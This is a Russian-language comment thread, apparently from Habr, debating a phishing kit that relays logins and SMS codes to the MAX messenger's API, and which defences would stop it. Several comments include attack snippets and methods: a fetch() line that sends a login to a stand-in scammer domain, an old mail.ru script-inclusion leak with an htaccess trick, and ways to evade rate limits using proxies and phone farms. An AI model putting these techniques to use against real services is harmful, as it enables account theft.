Comments 152
Где virustotal показывает субдомены? Или кто их показывает?
Для бана на уровне хостера можно настроить ии-агента (это модно!), чтоб при смене хостера кидал жалобу
Нужно браузерное расширение, которое будет помечать свежезарегистрированные домены как подозрительные
Young Domain Guard
Recently Registered Domains
Автоматические догонялки! Ваааааау =)
По пункту 3. Что мешает нечистым на руку людям, создавать фейковые плагины для браузера? Вредоносных расширений навалом, сделать еще одно которое типа будет проверять (нет), не проблема ни разу.
WOT есть много лет тот же: https://chromewebstore.google.com/detail/wot-website-security-safe/bhmmomiinigofkjcapegjjndpbikblnp
3 - nextdns может блокировать все домены моложе месяца, сам пользую.
да и в virustotal есть это вкладка relations (только домен вводите без https) и в др в сервисах например crt.sh или shodan или dnsdumpster.com
Это отличная идея поскольку я начал реализовывать бота но партнеры верно отметили, что такой бот будет инструментом для троллей , а вот ваша идея компромиссная и эффективная . спасибо
Это протестируем .
Схема которую я тут описал работает универсально , но занимает много времени
Сколько их представители говорят о регулярных проверках безопасности, а по факту тут idor, там csrf. Такое ощущение что топ 10 owasp для них даже не шутка, а какое-то бинго которое они целенаправленно пытаются собрать
Судя по описанию атаки от автора, ничего не спасет, это MITM атака, полностью виноват пользователь, не проверивший адресную строку.
На маленьких экранах телефонов никто (ну, почти) не обратит внимание на ненормальное содержимое адресной строки. Это ни в коем случае не оправдание беспечности пользователя, но в общем-то отягчающее обстоятельство, в котором виновен UI мобильных браузеров, который в свою очередь диктуется крайне ограниченным полезным пространством экрана телефона. То есть я на самом деле никого не обвиняю, просто получается, что попасться на такое с телефона еще легче даже тем, у кого зайчатки понимания рисков присутствуют, ну а чуждым цифровой гигиене пользователям так и очевидная аномалия в адресной строке десктопного браузера не поможет.
А если учесть что абсолютное большинство прикладух в электроне… то и пользователь не увидит урлы… А как дысали - ми не обманываем друк-друка. всё охранено.
Если ты попытаешься открыть веб версию Макса в браузере мобилы то тебя редиректит сразу на download.max.ru
Нужно постараться чтобы именно на мобилке веб версия запахала.
Соответственно для фиша таких ограничений нет) грубая логика даже неопытному юзеру подскажет что он не в приложении, а в браузере. Это наверное главный момент в несовершенстве такой атаки. Как бы туп username бы не был, уж отличить что он ковыряет браузер а не приложуху наверное сможет. (По крайней мере я в это верю)
2. Бэкенд кита тут же открывает соединение к НАСТОЯЩЕМУ API мессенджера MAX и отправляет туда тот же самый запрос send-code от своего серверного клиента.
Если предположить, что API Макса отслеживает плотность запросов из одного источника, то там под капотом еще и сеть реверс-прокси у такого бекенда должна быть немалая.
Причем, если это запросы с ДЦ (и скорей всего не РФ локации) - то это уже сам по себе звоночек для такого API "тут что-то неладное творится".
чел тебе че интернет провели? тысячи школьников этим занимаются, и тг угоняют и макс, и будут угонять, пока авторизация в сервисе работает, хоть миллион статей напиши
несколько дней жизни на школьников потратил мда, еще так пишет будто инфру Zeus 2026 или Lockbit нашел
А вы сами из тех самых "школьников", раз так агрессивно защищаете их честь?
Суть статьи не в том что фишинг существует, а в том как именно он технически реализован под конкретную дыру в Максе
под конкретную дыру
Объясните, что за дыра? Без шуток, реально не понимаю.
Между клавиатурой и стулом, очевидно же.
Кроме шуток - доступность в угоду безопасности. Фишинг тем и живёт, но обзывать его дырой - хз, сомнительно.
В статье же раздел про это - "Где здесь дыра"
Раздел есть, дыры нет. Я не просил указать где в статье текст о дыре. Что есть дыра, в чём бага до уровня 8.8?
Согласен, при внимательном прочтении (сперва бегло просмотрел) статья кажется мутноватой. Но если там не всё выдумки, то отсутствие подтверждения (или хотя бы уведомления) в другие сессии о новом входе не очень безопасно. А вообще, с учётом его интеграции с госуслугами, весь этот функционал с ботами и открытостью API сами по себе выглядят дырой.
Объясните, что за дыра? Без шуток, реально не понимаю.
Нет проверки Origin / Referer на /api/send-code
Нет привязки выпущенной SMS-сессии к идентичности устройства, инициировавшего ввод
Нет серверного rate-limit’а по характеру источника
Нет push-подтверждения в активные сессии пользователя при попытке нового входа
Автор с пояснениями написал про эти уязвимости и как их закрыть.
Пояснение пункта 1 на практике.
На https://auth.mail.ru/cgi-bin/auth?mac=1 была такая уязвимость, что подключив этот адрес на своем сайте через <script src>, можно было получить данные авторизованного пользователя. Т.е. владелец сайта мог узнать настоящие почтовые ящики того, кто посетил его сайт, и что самое критичное, для сбора данных даже нет нужды заманивать человека на свой сайт, достаточно написать кому то сообщение (на форумах, соц сетях и тд), указав в сообщении <img src> с указанием ссылки на свой сайт, а на самом сайте править htaccess AddType application/x-httpd-php52 .jpg
Польза зависит от фантазии.
Такая же уязвимость была и на yandex, сейчас не помню api адреса яндекса.
Mail.ru исправил уязвимость тем, что начал проверять Origin / Referer, и этого хватило, чтобы "закрыть" уязвимость, т.к. js не умеет отправлять Referer. Обходится с некоторыми усилиями через протокол data:.
Нет проверки Origin / Referer на /api/send-code
При отправке тем же питонячим requests можно поставить ЛЮБОЙ Origin / Referer
Нет привязки выпущенной SMS-сессии к идентичности устройства, инициировавшего ввод
Для web-версии? Проверка идентичности браузера и всех метрик?
Нет серверного rate-limit’а по характеру источника
Откуда данные? Необходимо иметь логи маха, чтобы знать, с одного ли IP идут запросы или проксируются ещё через множество.
Нет push-подтверждения в активные сессии пользователя при попытке нового входа
Допустим да.
CVSS 8.8 Critical точно.
То, что Вы привели пример мэйла, работало, тоже помню, но в примере автора запросы шли с сервера, а не JS.
Объясните, что за дыра? Без шуток, реально не понимаю.
Вы задали вопрос, чтобы начать спорить или получить ответ?)
Способ, который позволяет залезть в голову пользователю в среде, которую контролирует разработчик - это дыра, которую разработчик не закрыл. Один только Google столько всего придумал против фишинга, что многие способы залезть в голову пользователю google, казавшиея вечными, перестали работать.
Проблемы с фишинговыми ссылками решались по разному, например, варианты навскидку:
1. Подгрузка сайта по ссылке в небольшом фрейме в самом сообщении с переходом по всем редиректам вполне себе покажет, как выглядит конечная точка, без необходимости клика по ссылке.
2. Любая ссылка в мессенджере открывается только через промежуточный прокси адрес, вроде checklink.max.ru, который на 2-3 секунды задержит открытие ссылки, но предварительно проверит безопасность ссылки.
3.1 Проверять домен из ссылки на давность регистрации, указывая у новых доменов, что он зарегистрирован недавно.
3.2 Автоматически проверять ссылки на наличие редиректа, будь то редирект Location, или другой редирект, и помечать такие ссылки как сомнительные.
4. При запросе токена на авторизацию, проверять наличие и время активной сессии в момент запроса токена, и если активная сессия присутствует и время соответствует моменту отправки запроса, слать сообщение на номер телефона с уведомлением вроде, что пользователь уже авторизован в устройстве iPhone, и вводить код только в том случае, если пользователь пытается авторизоваться в другом устройстве. Что то в этом роде.
Это дыра? - Да.
Ее можно закрыть? - Да.
Дыра критичная? - Да, если судить по последствиям для жертвы. Нет, если судить по масштабу урона для Макса.
ps. Надеюсь, вы не Великий M_Script. Стиль письма похож.
Задал вопрос, чтобы получить ответ, но именно в рамках данного поста. То есть того, что описал автор.
У нас совершенно разное представление критичности уязвимости. Если проверка Origin/Referer является критичной, то что за уровень у RCE? Последствия..значит и сам смартфон уязвим, раз на нём такое открыть можно в принципе. Критичность не так определяется в данном случае. Если для юзера, то хоть XSS, хоть Smuggling - данные утекли, можно воспользоваться, только вот при XSS том же - виноват разработчик, а при фишинге - сам себе виновник.
Проверка ссылок:
3.2 Автоматически проверять ссылки на наличие редиректа, будь то редирект Location, или другой редирект, и помечать такие ссылки как сомнительные.
К примеру в URL в конце нет слэша, на некоторых сайтах идёт редирект на URL со слэшем в конце. А сайт вполне себе легитимный, но по правилам становится сомнительным тогда.
Авторизован или нет - тоже может быть редирект на промежуточную страницу.
Версия браузера, вэб или мобильный и т.п. Это навскидку примеры, при которых будет 302 или в META тэге, таким образом все идут в сомнительные. Не годится такая защита.
3.1 Проверять домен из ссылки на давность регистрации, указывая у новых доменов, что он зарегистрирован недавно.
Ну это уж совсем для наших людей :)
Будет такое:
Скрытый текст
2. Любая ссылка в мессенджере открывается только через промежуточный прокси адрес, вроде checklink.max.ru, который на 2-3 секунды задержит открытие ссылки, но предварительно проверит безопасность ссылки.
А как проверит? На наличие небезопасного текста на странице? Всё отрисуется JS-кой, а checklink.max.ru увидит что-то простенькое и безобидное.
1. Подгрузка сайта по ссылке в небольшом фрейме в самом сообщении с переходом по всем редиректам вполне себе покажет, как выглядит конечная точка, без необходимости клика по ссылке.
Получает юзер такое сообщение с несколькими разными ссылками и у него вместо сообщения отрендерится такая страница аля нулевые, всё мигает, всё разное и грузит полдня.
Вообще любые переходы по ссылкам, которые может инициировать сервис типа для проверки, до того, как отдать пользователю - не лучшая затея, так как есть одноразовые ссылки например, сброс пароля, подтверждение и т.д, и т.п.
4-й пункт верный подход.
M_Script, знакомое, но не могу вспомнить точно, это модер какой-то был на античате или вроде того?
M_Script, знакомое, но не могу вспомнить точно, это модер какой-то был на античате или вроде того?
Он. Тихий модер раздела "Социальные сети" и... один из лучших исследователей веб-безопасности в RU секторе, создатель уникальных векторов атак и авторских 0-day.
Получает юзер такое сообщение с несколькими разными ссылками и у него вместо сообщения отрендерится такая страница аля нулевые, всё мигает, всё разное и грузит полдня.
Вообще любые переходы по ссылкам, которые может инициировать сервис типа для проверки, до того, как отдать пользователю - не лучшая затея, так как есть одноразовые ссылки например, сброс пароля, подтверждение и т.д, и т.п.
Так телеграм и вотсапп так и делают - они ведь показывают превью ссылок. Но там не всё содержимое ссылок рендерится, а по протоколу Open Graph.
А сброс пароля через GET запрос, такое вообще бывает? В каком случае это может быть оправдано?
Вот я это и хотел написать тоже, "Нет привязки выпущенной SMS-сессии к идентичности устройства, инициировавшего ввод"
Так то идентификаторы устройств у них есть. Вся эта петрушка работает как раз для веб версии только когда ты сканируешь на залогиненной в мобилке апке qr и тебя запускает. Т.е. в целом как таковой механизм контроля device Id есть
Тут ИМХО главное issue которое надо зафиксить и это быстро и сразу убирает митм - это блокирование отправки смски если есть активная сессия. Смс кидать только если нет активных сессий.
Хочешь зайти на новый девайс - тупо опять Бери qr код и шарь трастовую сессию на новый девайс. Фикс на 5 минут, который коварно подсирает бизнес фишерам)
нет никакой дыры в максе. пользователь сам на домен не смотрит, такую атаку нечем контрить
Как лихо автор присвоил 8.8 и "в один" клик.
А ничего что ещё надо не смотреть на домен, ввести телефон, ввести код из СМС и т.д.?
Ну и про телеграмм - тут были недавно посты про клиент "Телега", где тупо пропускали весь траффик через себя.
Телегу надо установить самому. Это уже активное действие, то есть фактически передача добровольная.
Из всех угютов вещают, что мах - супер безопасный, там нет плохишей и вообще можно спокойно пользоваться. С учётом, что смс приходит с легального номера заподозрить неладное для обычных людей очень сложно. Так что да, это очень высокий уровень.
Макс тоже надо самому поставить, внезапно.
Я не знаю, с какими утюгами вы общаетесь, но здесь на хабре (и везде где он упоминается) через одну статьи об уязвимостях и проблемах Маха. И может было 1-2 "от авторов" с попытками опровержения.
С учётом, что смс приходит с легального номера заподозрить неладное для обычных людей очень сложно.
Я извиняюсь, а разве бывает по другому?
Какой смысл в смс с "нелегального" номера?
Думаю, автор имел в виду случай, когда логинишься в макс, а смс приходит от сбербанка
Давно уже процветает развод "ой, мы вас взломали": приходит СМС с левого номер (любой сервис, где можно отправить код при регистрации), если жертва его называет, то на фоне слышен диалог "ха-ха, мы его развели, госуслуги теперь наши, ОЙ, я не отключил звонок" и потом жертве звонят с другого номера с предложением помочь спасти деньги.
Если не блочат, значит это кому-то нужно? Коррупционную составляющую пока не отменили.
Видимо уже ни кнут ни пряник не работает для загона в про правительственные каналы, только так хоть как-то накрутить пользователей и голосования.
Уникальная ситуация, когда оригинальный сервис опаснее скам-копии!
А кто мешает делать такой же фишинг и логиниться, например, в Telegram с backend?
Ну то есть, если оригинальный клиент телеграм может залогиниться, то и мы можем, там в нем нет ничего секретного.
Можно как-то с этим бороться, лимитировать запросы на один IP, но это все тлен.
P.S. Не могу комментировать чаще, чем раз в час.
Я статью почитал, ничего не понял. Нужны детали. С теоретической точки зрения никто не мешает у себя под кроватью запустить ферму с Android-мобилами с Telegram и делать все на 100% легитимно. Это конечно же overkill, думаю, все решается в разы проще и эффективнее.
Статью внимательно читайте, там все написано и в телеграме такое давно пофиксили в том числе валидацией запроса со стороны клиента. Даже если клиент сторонний типа телеги, запрос отклоняется если по пути проходит через кого то еще. Тут же можно запрос через 10 серверов перекинуть и сервер макса его примет отдав токен в неизвестном направлении.
Если у приложения есть веб-версия, то архитектурно невозможно предотвратить MITM. Можно только косвенно "подозревать": левый айпи, много запросов с одного айпи и т.д. ну и козырное - "вы зашли с нового устройства, браузер хром, айпи хз.хх.хх.хх, местоположение Франкфурт, это точно-точно вы??"
Но запрос ведь не проходит через кого-то ещё, он создаётся этим кем-то, нет? На фишинг летит логин/пароль, с фишинга летит запрос на сервера макса, как это можно предотвратить вообще?
Certificate pinning - отбрасываются левые CA
Channel binding через tls-exporter из TLS 1.3 - подтверждается идентичность сессии
Ничего из этого не работает в вебе, но концептуально невозможность перехвата MITM обеспечить реально
Для веба есть варианты, которые позволяют не передавать пароль в открытом виде, но не помню есть ли в них защита от replay атак
Я не понимаю, может мы разные статьи читаем, или я уже в бреду валяюсь, но как защита канала между клиентом и сервером поможет, если клиент тут - скаммер??
Ещё раз: Человек зашёл на сайт, который только виду похож на макс. Это не реверс прокси макса, это не прослушиваемый туннель макса, это не взломанный ендпоинт макса, это кто-то зашёл на страницу авторизации макса, нажал ctrl-s и захостил получившийся файл, заменив js код для отправки логина и пароля на простой connectButton.onclick = () => fetch("https://скамер.tk/login=" + loginField.value);.
Дальше полученный с этого фишингового сайта пароль отправляется через обычный веб апи макса. С сертификатами всё в порядке, http запрос не менялся, в этом соединении не используется mitm или ещё что-то. У скамера уже есть данные, ему не нужно никак хитрить, он использует самую прямую концепцию авторизации: Если ты знаешь логин и пароль от аккаунта, значит скорее всего, ты и являешься владельцем этого аккаунта.
Все ваши варианты - это защита от митма, да. Но в статье не про митм написано, а про самый банальный фишинг.
Как валидация на клиенте может предотвратить авторизацию на стороннем сервере? Туда приходят логин-пароль в открытом виде. Далее имитируются вторые-третьи-десятые факторы и мы получаем валидную сессию.
Если вы попытаетесь массово запрашивать СМС с бэкенда через Telegram API, ваш IP и ваш api_id улетят в бан за подозрительную активность (rate limit) в течение нескольких минут. Фишинговой ферме придется постоянно регать новые api_id с чистых IP, что экономически нерентабельно
В Максе бэкенд принимает запросы откуда угодно
Ну ок, т.е. речь уже идет не про то, что это невозможно, а про то, что массово сделать нерентабельно? Я почему-то думаю, что у специалистов это все схвачено. Тупо есть поставщики небитых-некрашеных проксей за приемлемый прайс.
И на кой черт мне каждый раз регать новый телеграм клиент с новым api_id? Я буду запускать настоящий Telegram с ломаного Android-телефона с подменой идентов. Причем на один телефон будет много независимых инстансов Telegram и каждый будет видеть свои иденты.
Тут из подозрительного только одно - что с одного IP слишком много запросов на логин одновременно. Но читаем выше. Ну и блин, настоящих людей, сидящих с VPN никто не отменял. То есть, некоторый уровень логинов с одного IP - это нормально.
Пресловутая Телега как-то же делает MITM и пропускает трафик через себя? И работает же. В чем принципиальная разница?
А если использовать параметры от официального клиента? Или они у каждого юзера разные?
Скажите, какой будет айпи, если использовать сибокс с симками того же оператора из того же региона?
Что-то мне подсказывает, что это будет один и тот же адрес/пул как и для обычных мобильных пользователей.
И в случае телеграмма или прочих сигналов не выйдет договориться с операторами, чтоб они отдавали дополнительные метаданные (как это обычно работает с банками)
Пришлось откопать хабровский аккаунт и выйти из ридонли, невозможно не отреагировать когда видишь такую чушь.
Никто из ботоводов не использует сторонние api_id. Телеграм крайне подозрителен при их использовании. А ключи от официальных приложений есть по первой ссылке в гугле.
Использование прокси это абсолютная база. И прокси есть на любой вкус, цвет и ценник. Реально школьники с лолза пояснят, что без прокси такие дела не делаются.
Не к конкретному комментарию:
Как уже сказали ниже - если юзер сам скинул логин, пасс и 2фа, то его уже никто не защитит. Можно минимально палки в колеса вставить в виде невозможности авторизации не в мобильном приложении. У того же тг есть проверка среды именно для мобилок, но и это все уже тоже давно обходят, пусть и неудобно. Любая защита от подобного фишинга влияет только на сложность автоматизации процесса.
В половине комментариев шок контент просто.
Не совсем понятно что с этим должен делать ВК. Прокинуть авторизацию можно хоть в Гугл, никто не мешает. Это просто авторизация.
Если пользователь вводит свои данные на левом домене - ни один сервис не защититься от этого.
В статье ж указано - проверять откуда (IP) приходит запрос, рейтлимиты и гео.
Мне вот вспоминается моя попытка бота под MAX сделать - там при регистрации стоит проверка по гео - без отключения VPN - сразу сообщения что превышен рейтлимит.
Ну да - возможно у авторов кита есть много резидентских ру-прокси.
если они там миллионы зарабатывают то могут себе позволить простые мобильные прокси за тыщу в мес. на которых ип каждые пару минут меняется и он локальный в рф. думаю так и делают…
Кстати, они там миллионы потому и зарабатывают, потому что это легко. Как только становится тяжело зарабатывать миллионы в одной сфере, то они бросают эту сферу и переходят в ту сферу, где все еще легко зарабатывать миллионы. У них нет цели тратить тыщу в месяц, если это не окупается в десятки раз. А меньшая окупаемость в этой сфере невыгодна.
В статье указано, что api_id магическим образом решает все проблемы. Не сказано, правда, как, только сам факт, что тг это решили. И как поможет проверка ip? На что его проверять? Рейтлтмит? Когда скамеры за час могут поднять новый VDS?
А еще в статье не указано как это хоть чем-то поможет. Третий раз укажу, что прокси обойдутся в пару-тройку тысяч в месяц, это копейки, от реальных не отличишь. На крайняк никто не мешает поднять ферму реальных устройств.
Действительно, зачем вообще делать безопасность в приложении
Давайте просто скажем: "Пользователь сам виноват, что ввел код, наши руки чисты"
Идеальная стратегия для мессенджера, интегрированного с Госуслугами
app.any.run— это интерактивная песочница, бесплатная, без регистрации
Как воспользоваться без регистрации?
Я вообще не понял, зачем понадобился any.run. Редирект 30х можно в dev-tools браузера посмотреть. Или если надо красиво, то здесь: https://www.redirect-checker.org/
Автор, судя по накрученному вами аж до 8.8 (Critical), вы явно вдохновились выплатой до 10M ₽ - это из https://bugbounty.standoff365.com/programs/max
Но как заметили выше, необходимо ввести номер, код и т.п действия.
нет проверки
Origin/Referer
при запросе на апи, скрипт на сервере добавит какой угодно Referer или Origin
Отсутствие Rate limit, проверки IP на множество соединений, идентификатор устройства - да, недочёты явно, но это не 8.8, видимо здесь ИИ решил не огорчать вас и порадовать на всю катушку, возможно добавив сформированный отчёт(лишь предположение, может ИИ не использовался совсем).
Впрочем триажеры могут рассказать много интересного об отчётах с CVSS 8+, сгенерированными особенно много за последнее время. Может есть кто из триажеров, опубликуют подобный пост без раскрытия?
ИИ тут явно использовался, судя по конструкция "это не, это а", томным кратким предложениям и еще кучи признаков, что мне лень описывать
Зря заминусили комментарий, замечания вполне справедливы. Origin/Referer защищают не от фишинг-прокси, а от CSRF-атак (в статье описан не CSRF, если что). 8.8 баллов за описанное в статье это явно завышенная оценка. Или минусующие могут показать что-то подобное на какой-нибудь БД уязвимостей типа nvd.nist.gov?
Ну и по приколу, раз уж автор явно использовал ИИ, то я тоже им воспользовался и скормил статью Gemini 3.1 Pro. Его вердикт: "нет, на классическую уязвимость (CVE) с оценкой 8.8 это не тянет".
Несколько раз перечитал советы от автора о том, что не сделали разрабы, и, правда, не понял сути
нет проверки
Origin/Refererна/api/send-code
Прокси подставит туда именно то, что надо. Не понимаю, как должно помочь.
нет первичного SDK-токена. У Telegram эта проблема закрыта много лет назад через
api_id/api_hashв MTProto
Как это должно помочь против атаки через веб, когда юзер вводит креды в полностью подконтрольном хакеру SPA? Даже, если хакер ходит якобы из под прилы, он сгенерирует себе валидный токен и подставит в проксируемый запрос. Потом с этим же токеном пойдёт работу работать, получив сессионный токен
send-code— нет привязки выпущенной SMS-сессии к идентичности устройства, инициировавшего ввод (TLS JA3/JA4 fingerprint, device id, web-cookie)
Вообще из другой оперы. Это все имеет смысл, когда у юзера по-тихому сперли токен, полученный полностью легитимно (например, через взломанное расширение). Когда сессия делается хакером, у него все совпадет. Он будет юзать ту же сессию для этого аккаунта со всеми нужными параметрами.
Бэкенд кита делает сотни запросов в день на разные номера с одного IP
Откуда такая информация? Админ макса поделился логами? Оттуда уверенность, что хакер не используют прокси, или симбокс со сменой ип через реконнекты?
Знаете, я как-то дал ИИ некоторые свои наработки по багам, они совершенно не критичны, но в массе могли бы дать мелкий импакт в связке с чем-то, думал он чуть систематизирует, но он же пошёл дальше и выдал крит на 9+, ещё и отчёт забацал. Так и здесь видимо.
да, тоже заметил. ИИ тут постарался из ничего прям триллер сделал :) лучше бы с помощью ИИ сделали скрипт который жалобы подает ежедневно на новые ип хостерам.
или скрипт запустили типа for (i = 7900_000_0000; i < 7999_999_999; i++) fetch(/send-code/…)
с домена мошейников. ну и самому роутер перезагружать чтобы ип менялся :) никаких проксей им не хватит, макс тогда реально начнет их банить… а если не начнет банить то все юзеры начнут получать смс и дело получит огласку.
спасибо за коммент по большинству пунктов согласен
да Origin/Referer прокси подставит что хочет это работает от CSRF а не от server-to-server проксирования тут моя ошибка
по SDK-токену тоже прав статический api_id вытаскивается из APK за пять минут сам по себе он ничего не даёт . работает только в связке с app attestation - Play Integrity у гугла или DeviceCheck у эпла . вот этот токен серверный бот атакующего получить не сможет потому что гугл и эпл проверяют что есть реальное устройство и подлинная подпись приложения . без attestation вызов /api/send-code просто не должен проходить . писать надо было сразу про attestation а не про SDK-токен в общем
JA3/JA4 как session-binding да не работает согласен атакующий сам и есть initial-клиент у него всё совпадёт . но как сигнал на стороне max смысл какой то есть когда один fingerprint лезет на десятки разных номеров за час это паттерн прокси-кита а не нормального юзера . но это уже anomaly detection а не привязка тут ты тоже прав я в отчёте смешал две разные штуки
про "сотни запросов в день с одного ИП" - честно гипотеза . логов max у меня нету подтвердить не могу . оператор вполне может крутить через резидентские прокси или симбокс с реконнектом тогда ИП будет постоянно новый . так что рейт-лимит по сорс ИП реально не панацея нужен лимит по таргет-номеру (один телефон не получает смс чаще например пяти раз в час) и тут уже сложнее обойти
если совсем коротко суть не в этих мерах по отдельности . api max не проверяет что /api/send-code зовёт реальное приложение max а не левый сервер . из этого растёт вся атака кто угодно поднимает прокси-фронт юзер вводит номер прокси проксирует запрос в реальный апи max шлёт настоящий смс юзер вводит код прокси проксирует код получает sessionToken заходит в аккаунт . cloud password проксируется через /api/sign-in-2fa тем же способом 2фа не помогает
реально закрывают это только две вещи
первое app attestation на /api/send-code . серверный бот аттестейшен от гугла/эпла не получит ему нечем подтвердить что он реальное приложение
второе push-confirmation в активные сессии при попытке нового входа как у телеги whatsapp signal . даже если каким то чудом attestation обошли без подтверждения с уже активного устройства жертвы новая сессия не выпускается
всё остальное (Origin SDK-токен в одиночку JA3-привязка IP-лимиты) слабые меры тут ты прав . спасибо что разобрал внимательно сам бы не заметил часть слабостей
То есть, все сводится к тому, что в ядре системы антифрода надо опираться на 2 американских сервиса, и, если они говорят, что в морг - значит в морг. Вроде, создатели макса чуть с другим посылом прилу создавали, не?
)) Надеюсь нет. Я просто пример привел . чтобы гарантированно исключить такую уязвимость нужна двухфакторная аутентификация , в рф есть например Яндекс ключ ,но я считаю что для сервиса через который можно получить доступ в госуслуги необходим уровень безопасности даже лучше чем гугл аутентификатор , но тут нет даже его (подобного сервиса и ключами)., хотя бы Яндекс бы ключи подключили из того что уже есть . Но конечно нужен уровень безопасности выше.
app attestation на /api/send-code
Не понимаю, о чем тут идет речь?
Я только слышал про hardware-backed key attestation.
Это серьезная хрень, которая требует аппаратной поддержки в SoC (TrustZone и аналоги) и серьезной инфраструктуры для attestation key provisioning. То есть не стоит ожидать, что в дешевом китаефоне это будет работать.
В любом случае все обходится фермой смартфонов.
В худшем случае у мошенника лежит тупо нерутованный смартфон под управлением ИИ, который тапает по экрану и делает логин. Да, наверное это дорого. Но теоретически возможно.
app attestation - Play Integrity у гугла или DeviceCheck
а если хочется использовать web.max.ru?
это и вставь в статью. а то я жоско комментировал комментарии ниже мол всё фигня.
Ого, национальный мессенджер с интеграцией госуслуг не проверяет, откуда к нему стучатся за смс-кодом авторизации! Какая неожиданность. Зато наверное кучу сертификатов от ФСТЭК получили
Этот "национальный" мессенджер принадлежит физлицу, а банковские счета не в России.
Наброс. Хацкеры вполне могут арендовать кучу прокси серверов или VDS в разных регионах РФ и с основного бэкенда проксировать на близжайший к пользователю. Пользователь и не увидит ничего необычного в "авторизированных устройствах". В том числе из-за этого и замедляют впны всякие.
Не буду Максим защищать. Ну думаю тут еще и сами пользователи должны быть внимательны. Не переходить по всяким ссылкам. А то есть такие, которые еще сами мошенниками наберут и код с смс отправят.
Проблема в том что всякие бабушки и не особо технически подкованные личности верят зомобоящику, из которого трубят целыми днями что скаМ это идеальный безопасный мессенджер, где нет никаких плохих дядь и злобных украинских мошенников, которые удаленно взорвут их телефон. И потом показывают пальцем на телеграм и ватсап, что типа там это есть.
Поэтому у среднестатистического зрителя российского ТВ даже мыслей не возникает что в его идеальном приложении кто-то может пытаться его обмануть.
Не буду Максим защищать
И не надо — он не Максим, а Мах (как в слове МАХОВОЙ).
Делай раз:
Делай два:
Делай три:
Товарищ Сталин Путин! Произошла чудовищная ошибка!
Если кто-то из VK security всё же прочитает: контактный канал — личка на Хабре, готов ко всему — телефонный созвон, передача полного списка 179 доменов, выгрузка кода кита, координация с CERT-партнёрами. Полный отчёт с CVSS, PoC и рекомендациями уже у вас в
support@max.ru. Coordinated disclosure window — стандартный 90 дней.
Можно, а зачем?
Прошла неделя. Ни одного ответа
Добро пожаловать в энтерпрайз. Пока об этой дыре не напишут в крупном тг канале с тегом гендиректора VK, ваш отчет будет мариноваться на первой линии техподдержки между жалобами на забытый пароль и спам
Я не уверен, что эта статья заставит VK что-то сделать
Почему, есть стандартная процедура: вы будете привлечены как злой хакер, подрывающий государственность РФ. С отрядом СОБР и СИЗО.
возможно вы правы. Самое интересное что группа которую я описал по прежнему работает и сегодня сменили очередной хост .и меры никто не принимает .
А почему их вообще пытаются ловить на уровне хостинга и ip адресов? Вот если бы им регистратор не просто разделегировал, а отозвал регистрацию всех 179 доменов разом, тогда и все ссылки вида clk1.me/rD7P5E автоматически бы протухли. Рассылка спама в итоге сработала бы вхолостую с необходимостью начинать всё заново. Иначе эти кошки-мышки можно продолжать бесконечно.
О да, легендарный api_id, который защищает ТГ от митмов, фишингов, вирусов, 0day’ев и, наверное, от рака.
Естественно тебе из макса не ответили, у тебя уяза уровня “помогите, я сказал скамерам логин, пароль и двухфакторку и теперь они получили доступ к моему аккаунту!”. Вот чем технически отличается фишинговый сайт от комментариев на хабре, куда ты напишешь свой логин и пароль? Что мне помешает взять эти данные и зайти в макс? А в ТГ? Госуслуги, приложение банка? Неужели они все уязвимы аж на целых 8.8 cve?! Срочно иди пиши всем репорты!
Иногда стоит смириться, что если ты не можешь запомнить, как выглядит адрес нужного тебе сервиса и понять, что только на нём надо вводить логин пароль от этого сервиса, то лучше просто не переходить по случайным ссылкам. Ну или по брейнштормить нейронку, что написала эту статью, раз api_id так хорошо помогает против фишинга, почему его нигде не используют.
)) потому что он не помогает . но ты понял суть
лучше просто не переходить по случайным ссылкам
лучше не наделять обыкновенный уязвимый мессенджер функцией подтверждения всего что угодно, включая кредиты, и не врать, что он безопасен даже для технически безграмотных бабушек. Мне это кажется самым полезным выводом из статьи
Мне сейчас опять вилы в разные места насуют, но я всё же считаю, что между СМС сообщениями и рандомным xmpp мессенджером безопаснее всё же второе. И всё же подтверждение авторизации лучше делать там же. Цифровизация - это хорошо, просто надо сделать его opt-in что ли, что б бабушек не напрягать. Было б, конечно, идеально аналогично с СМСками привязывать аккаунт к чему-нибудь физическому (как сим карты), но тут уже двояко получается.
Другое дело, что само приложение макса с его детектом впнов создаёт 100500 причин не использовать его и банит при любой попытке обхода, тем самым нивелируя всё, что я понаписал выше. Увы.
Было б, конечно, идеально аналогично с СМСками привязывать аккаунт к чему-нибудь физическому (как сим карты), но тут уже двояко получается.
Давно пора для ответственных вещей сделать авторизацию через чип в паспорте. Как сейчас для Госключа сделано ( https://goskey.ru/help/ ). Просто так взять паспорт и приложить к телефону на автомате не выйдет, любой задумается - зачем он это делает?
Кому лень читать простыню - автору прислали шорт-кат, который ведёт на поддельную форму авторизации в максе. Простая компьютерная гигиена - смотри на адрес в адресной строке, но автор разлил воды не хуже рент-тв.. странно, что "иностранный" след ещё не нашёл..
Цифровой свободе России на пользу, что репутация "безопасного", "национального" мессенджера будет разрушена мошенниками.
Не открывай на основном устройстве
Почему опасно открывать такую ссылку?
Достаточно сверять домен при авторизации.
Очень актуально и своевременно, похоже, что эпидемия как раз в разгаре.
Только вчера получил пару таких сообщений от своих же контактов
Ссылка только link.ok.ru/htg и так далее
Очень забавно это сочетается с заявлением МВД о том, что опасные ссылки за пределами зоны .ru
У племянницы 20 человек с класса без акков остались на позапрошлой неделе.
У них есть несколько вариантов действий. Можно наказать вас и заставить все опровергнуть и удалить. Можно пригласить вас в качестве стороннего тестера на договоре. Можно закрыть дыру и сделать вид, что ничего не заметили. И наконец, объявить, что они неправы. Как вы думаете, какой вариант исключен?
Статья очень увлекательная. Однако, я задал вопрос ИИ-консультанту: является ли указанная проблема уязвимостью сайта? Он ответил, что это не уязвимость, поскольку проблему невозможно решить исправлением кода.
Мда чел проверка origin никак не спасет, хацкеры тупо укажут в origin оригинальный домен фронтенда макса при запросах с ихнего бэкенда. И telegram никак не защищен от такой атаки со своим appid, собственно кастомные клиенты телеги указывают оригинальный appid телеграмма. В общем max ничего с этим поделать не может. Максимальной трудностью для хацкеров может быть только адская слежка, мол как клиент реагирует на что-либо, куда пользователь нажимает, частые обновления клиента и закрытого api; у недолюбливателей макса попа лопнет от такого.
В целом это MITM атака и виноват в ней пользователь, доверившийся левому домену.
Часто слышу по телевизору или от знакомых — "я нажал на ссылку и у меня украли доступы...". Начинаешь разбираться — он нажал, ввел телефон, получил код, ввел его.
Возможно у моссада в подземных лабораториях и есть 0 day уязвимости, которые при заходе по ссылке могут хакнуть браузер. Но такие штуки не будут использовать для массового угона аккаунтов, поскольку такую редкую уязвимость нужно держать в секрете.
